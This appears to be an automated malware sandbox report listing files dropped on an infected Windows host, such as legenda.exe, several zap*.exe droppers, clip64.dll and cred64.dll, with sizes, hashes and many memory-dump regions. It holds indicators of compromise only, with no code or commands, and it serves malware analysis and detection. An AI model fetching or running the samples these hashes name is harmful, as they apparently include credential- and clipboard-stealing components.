2a5b25fcb9e9f584d0a162b734c7dcc53c6e0550

SHA256
4a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d

SHA512
4ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000114001\sqlcmd.exe
Filesize
144KB

MD5
b5baf2e6261a1fb05bb2654c8d099dd6

SHA1
2a5b25fcb9e9f584d0a162b734c7dcc53c6e0550

SHA256
4a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d

SHA512
4ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe
Filesize
144KB

MD5
b5baf2e6261a1fb05bb2654c8d099dd6

SHA1
2a5b25fcb9e9f584d0a162b734c7dcc53c6e0550

SHA256
4a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d

SHA512
4ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe
Filesize
144KB

MD5
b5baf2e6261a1fb05bb2654c8d099dd6

SHA1
2a5b25fcb9e9f584d0a162b734c7dcc53c6e0550

SHA256
4a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d

SHA512
4ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y71HN95.exe
Filesize
235KB

MD5
5086db99de54fca268169a1c6cf26122

SHA1
003f768ffcc99bda5cda1fb966fda8625a8fdc3e

SHA256
42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

SHA512
90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y71HN95.exe
Filesize
235KB

MD5
5086db99de54fca268169a1c6cf26122

SHA1
003f768ffcc99bda5cda1fb966fda8625a8fdc3e

SHA256
42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

SHA512
90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap1837.exe
Filesize
876KB

MD5
6228e591e49ca29e15a3dc85dd221534

SHA1
be3d3f02f9d73f94fe07e59561de2dc95023e396

SHA256
cee9ad72391befc0a50986269d6327aae97f447ddd4c519818e62a16b20512f8

SHA512
a9eb303ff6d3b076c54efad9c451fc6fb39a9b15aeff3582ae286deec2e8ec5fa869e3be28d95f1baf6e19dd5d2ee9be71a321d0e01b8e3beae05ca22660cbea

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap1837.exe
Filesize
876KB

MD5
6228e591e49ca29e15a3dc85dd221534

SHA1
be3d3f02f9d73f94fe07e59561de2dc95023e396

SHA256
cee9ad72391befc0a50986269d6327aae97f447ddd4c519818e62a16b20512f8

SHA512
a9eb303ff6d3b076c54efad9c451fc6fb39a9b15aeff3582ae286deec2e8ec5fa869e3be28d95f1baf6e19dd5d2ee9be71a321d0e01b8e3beae05ca22660cbea

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xYcGH01.exe
Filesize
175KB

MD5
3389637c0d072121bf1b127629736d37

SHA1
300e915efdf2479bfd0d3699c0a6bc51260f9655

SHA256
2b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153

SHA512
a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xYcGH01.exe
Filesize
175KB

MD5
3389637c0d072121bf1b127629736d37

SHA1
300e915efdf2479bfd0d3699c0a6bc51260f9655

SHA256
2b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153

SHA512
a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap2598.exe
Filesize
734KB

MD5
180e884c56893de98b9e56e395ef5f7d

SHA1
b6e99fc975f76148d2bc0931534c69825fe75bb6

SHA256
3044ed5093655ea75b8ba8405c939dfb248cb5678a9cd3e83c4a60dd46754bd9

SHA512
f2f4cbe96bdb526f4afcda7c5ed92bd6e37e0b2260fdb346761f3a94fee230670461b3d441f59b669bb51da5946febe5857560fc77653388b7bfb1fcf5cd3380

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap2598.exe
Filesize
734KB

MD5
180e884c56893de98b9e56e395ef5f7d

SHA1
b6e99fc975f76148d2bc0931534c69825fe75bb6

SHA256
3044ed5093655ea75b8ba8405c939dfb248cb5678a9cd3e83c4a60dd46754bd9

SHA512
f2f4cbe96bdb526f4afcda7c5ed92bd6e37e0b2260fdb346761f3a94fee230670461b3d441f59b669bb51da5946febe5857560fc77653388b7bfb1fcf5cd3380

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w20FD34.exe
Filesize
420KB

MD5
e39cccf0d8f7095854a13031869fe90a

SHA1
88b1fdc626f33139a32c821f2ddbb2f6289023f5

SHA256
17630390cc6b49ad5c8a839393bb7053702e63999945b28eb57e0a944062111a

SHA512
c0b98c37c2b6adecb85faadedb19e5916fa05d29a6f2a158478cc544d4f8982d89ab5ceecbe61e659d79d0d43f2d4e311d40fdcfe628f4bf399d04d2e296bc04

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w20FD34.exe
Filesize
420KB

MD5
e39cccf0d8f7095854a13031869fe90a

SHA1
88b1fdc626f33139a32c821f2ddbb2f6289023f5

SHA256
17630390cc6b49ad5c8a839393bb7053702e63999945b28eb57e0a944062111a

SHA512
c0b98c37c2b6adecb85faadedb19e5916fa05d29a6f2a158478cc544d4f8982d89ab5ceecbe61e659d79d0d43f2d4e311d40fdcfe628f4bf399d04d2e296bc04

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2163.exe
Filesize
364KB

MD5
6b32744e03c0538347641936aa70f9a0

SHA1
301d611513030660249533fcfdc935dc17c54fa6

SHA256
c2ae1a951d1a3f4c8fda56fc47fd238016d1ca4f4b55b3c4352fa3ee3bad6207

SHA512
16bbc83f424685f2fed414168a27cbcb40e5f44927e3ff15771c9b69cd6b86c79a190a304513fe67e0876203cdb0ac7dbe0056bdbbf0b03aa8a61d2c09c02c23

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2163.exe
Filesize
364KB

MD5
6b32744e03c0538347641936aa70f9a0

SHA1
301d611513030660249533fcfdc935dc17c54fa6

SHA256
c2ae1a951d1a3f4c8fda56fc47fd238016d1ca4f4b55b3c4352fa3ee3bad6207

SHA512
16bbc83f424685f2fed414168a27cbcb40e5f44927e3ff15771c9b69cd6b86c79a190a304513fe67e0876203cdb0ac7dbe0056bdbbf0b03aa8a61d2c09c02c23

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz4624.exe
Filesize
11KB

MD5
7e93bacbbc33e6652e147e7fe07572a0

SHA1
421a7167da01c8da4dc4d5234ca3dd84e319e762

SHA256
850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38

SHA512
250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz4624.exe
Filesize
11KB

MD5
7e93bacbbc33e6652e147e7fe07572a0

SHA1
421a7167da01c8da4dc4d5234ca3dd84e319e762

SHA256
850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38

SHA512
250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v7623zG.exe
Filesize
363KB

MD5
15cca55d72517020ece872ef909ca1d2

SHA1
f54c555475edcf2fc728ec066dfb440ba5859711

SHA256
6259ec2fb85ec0a52fb21d8852ddde66d7a7ee491c82dcdb52ae6f7e543380f2

SHA512
9447ef13335dddbf12dd9544d6ebcb996a3c52fc648dc1e3c0c78a4d2122a7428411148003cd0d1e294a98660c5e419bca0c31427745812d7d7b9e8cb0414995

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v7623zG.exe
Filesize
363KB

MD5
15cca55d72517020ece872ef909ca1d2

SHA1
f54c555475edcf2fc728ec066dfb440ba5859711

SHA256
6259ec2fb85ec0a52fb21d8852ddde66d7a7ee491c82dcdb52ae6f7e543380f2

SHA512
9447ef13335dddbf12dd9544d6ebcb996a3c52fc648dc1e3c0c78a4d2122a7428411148003cd0d1e294a98660c5e419bca0c31427745812d7d7b9e8cb0414995

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uxnylzhi.geb.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
Filesize
235KB

MD5
5086db99de54fca268169a1c6cf26122

SHA1
003f768ffcc99bda5cda1fb966fda8625a8fdc3e

SHA256
42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

SHA512
90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
Filesize
235KB

MD5
5086db99de54fca268169a1c6cf26122

SHA1
003f768ffcc99bda5cda1fb966fda8625a8fdc3e

SHA256
42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

SHA512
90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
Filesize
235KB

MD5
5086db99de54fca268169a1c6cf26122

SHA1
003f768ffcc99bda5cda1fb966fda8625a8fdc3e

SHA256
42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

SHA512
90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
Filesize
235KB

MD5
5086db99de54fca268169a1c6cf26122

SHA1
003f768ffcc99bda5cda1fb966fda8625a8fdc3e

SHA256
42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

SHA512
90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
Filesize
235KB

MD5
5086db99de54fca268169a1c6cf26122

SHA1
003f768ffcc99bda5cda1fb966fda8625a8fdc3e

SHA256
42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

SHA512
90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

Download Submit
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll
Filesize
89KB

MD5
16cf28ebb6d37dbaba93f18320c6086e

SHA1
eae7d4b7a9636329065877aabe8d4f721a26ab25

SHA256
c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106

SHA512
f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

Download Submit
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll
Filesize
89KB

MD5
16cf28ebb6d37dbaba93f18320c6086e

SHA1
eae7d4b7a9636329065877aabe8d4f721a26ab25

SHA256
c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106

SHA512
f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

Download Submit
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll
Filesize
89KB

MD5
16cf28ebb6d37dbaba93f18320c6086e

SHA1
eae7d4b7a9636329065877aabe8d4f721a26ab25

SHA256
c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106

SHA512
f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

Download Submit
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll
Filesize
223B

MD5
94cbeec5d4343918fd0e48760e40539c

SHA1
a049266c5c1131f692f306c8710d7e72586ae79d

SHA256
48eb3ca078da2f5e9fd581197ae1b4dfbac6d86040addbb305e305c014741279

SHA512
4e92450333d60b1977f75c240157a8589cfb1c80a979fbe0793cc641e13556004e554bc6f9f4853487dbcfcdc2ca93afe610649e9712e91415ed3f2a60d4fec0

Download Submit
memory/1076-1139-0x0000000005A40000-0x0000000005A50000-memory.dmp

Filesize
64KB

Download
memory/1076-1138-0x0000000000E20000-0x0000000000E52000-memory.dmp

Filesize
200KB

Download
memory/1508-193-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-200-0x0000000000400000-0x000000000071D000-memory.dmp

Filesize
3.1MB

Download
memory/1508-202-0x0000000004D80000-0x0000000004D90000-memory.dmp

Filesize
64KB

Download
memory/1508-167-0x0000000004D90000-0x0000000005334000-memory.dmp

Filesize
5.6MB

Download
memory/1508-168-0x0000000000820000-0x000000000084D000-memory.dmp

Filesize
180KB

Download
memory/1508-169-0x0000000004D80000-0x0000000004D90000-memory.dmp

Filesize
64KB

Download
memory/1508-170-0x0000000004D80000-0x0000000004D90000-memory.dmp

Filesize
64KB

Download
memory/1508-171-0x0000000004D80000-0x0000000004D90000-memory.dmp

Filesize
64KB

Download
memory/1508-172-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-204-0x0000000000400000-0x000000000071D000-memory.dmp

Filesize
3.1MB

Download
memory/1508-201-0x0000000004D80000-0x0000000004D90000-memory.dmp

Filesize
64KB

Download
memory/1508-183-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-199-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-197-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-173-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-195-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-191-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-189-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-187-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-185-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-175-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-177-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-179-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/1508-181-0x0000000002560000-0x0000000002572000-memory.dmp

Filesize
72KB

Download
memory/2028-1224-0x0000028A14F80000-0x0000028A14F90000-memory.dmp

Filesize
64KB

Download
memory/2028-1200-0x0000028A2F500000-0x0000028A2F522000-memory.dmp

Filesize
136KB

Download
memory/2028-1214-0x0000028A14F80000-0x0000028A14F90000-memory.dmp

Filesize
64KB

Download
memory/2028-1215-0x0000028A14F80000-0x0000028A14F90000-memory.dmp

Filesize
64KB

Download
memory/2028-1218-0x0000028A14F80000-0x0000028A14F90000-memory.dmp

Filesize
64KB

Download
memory/2028-1220-0x0000028A14F80000-0x0000028A14F90000-memory.dmp

Filesize
64KB

Download
memory/2028-1221-0x0000028A14F80000-0x0000028A14F90000-memory.dmp

Filesize
64KB

Download
memory/3380-161-0x00000000001E0000-0x00000000001EA000-memory.dmp

Filesize
40KB

Download
memory/3868-1217-0x0000023AF9B50000-0x0000023AF9B60000-memory.dmp

Filesize
64KB

Download
memory/3868-1216-0x0000023AF9B50000-0x0000023AF9B60000-memory.dmp

Filesize
64KB

Download
memory/3868-1222-0x0000023AF9B50000-0x0000023AF9B60000-memory.dmp

Filesize
64KB

Download
memory/3868-1223-0x0000023AF9B50000-0x0000023AF9B60000-memory.dmp

Filesize
64KB

Download
memory/3932-535-0x0000000004C30000-0x0000000004C40000-memory.dmp

Filesize
64KB

Download
memory/3932-209-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-210-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-212-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-1132-0x0000000004C30000-0x0000000004C40000-memory.dmp

Filesize
64KB

Download
memory/3932-1131-0x0000000006AE0000-0x000000000700C000-memory.dmp

Filesize
5.2MB

Download
memory/3932-1130-0x0000000006910000-0x0000000006AD2000-memory.dmp

Filesize
1.8MB

Download
memory/3932-1129-0x0000000004C30000-0x0000000004C40000-memory.dmp

Filesize
64KB

Download
memory/3932-1128-0x0000000004C30000-0x0000000004C40000-memory.dmp

Filesize
64KB

Download
memory/3932-1126-0x00000000067A0000-0x00000000067F0000-memory.dmp

Filesize
320KB

Download
memory/3932-1125-0x0000000006720000-0x0000000006796000-memory.dmp

Filesize
472KB

Download
memory/3932-1124-0x0000000006000000-0x0000000006066000-memory.dmp

Filesize
408KB

Download
memory/3932-1123-0x0000000005F60000-0x0000000005FF2000-memory.dmp

Filesize
584KB

Download
memory/3932-1122-0x0000000004C30000-0x0000000004C40000-memory.dmp

Filesize
64KB

Download
memory/3932-1121-0x0000000005C70000-0x0000000005CAC000-memory.dmp

Filesize
240KB

Download
memory/3932-1120-0x0000000005C50000-0x0000000005C62000-memory.dmp

Filesize
72KB

Download
memory/3932-1119-0x0000000005B10000-0x0000000005C1A000-memory.dmp

Filesize
1.0MB

Download
memory/3932-1118-0x0000000005470000-0x0000000005A88000-memory.dmp

Filesize
6.1MB

Download
memory/3932-214-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-533-0x0000000004C30000-0x0000000004C40000-memory.dmp

Filesize
64KB

Download
memory/3932-531-0x00000000020B0000-0x00000000020FB000-memory.dmp

Filesize
300KB

Download
memory/3932-242-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-240-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-238-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-236-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-234-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-232-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-230-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-228-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-226-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-224-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-222-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-220-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-218-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download
memory/3932-216-0x0000000004BF0000-0x0000000004C2E000-memory.dmp

Filesize
248KB

Download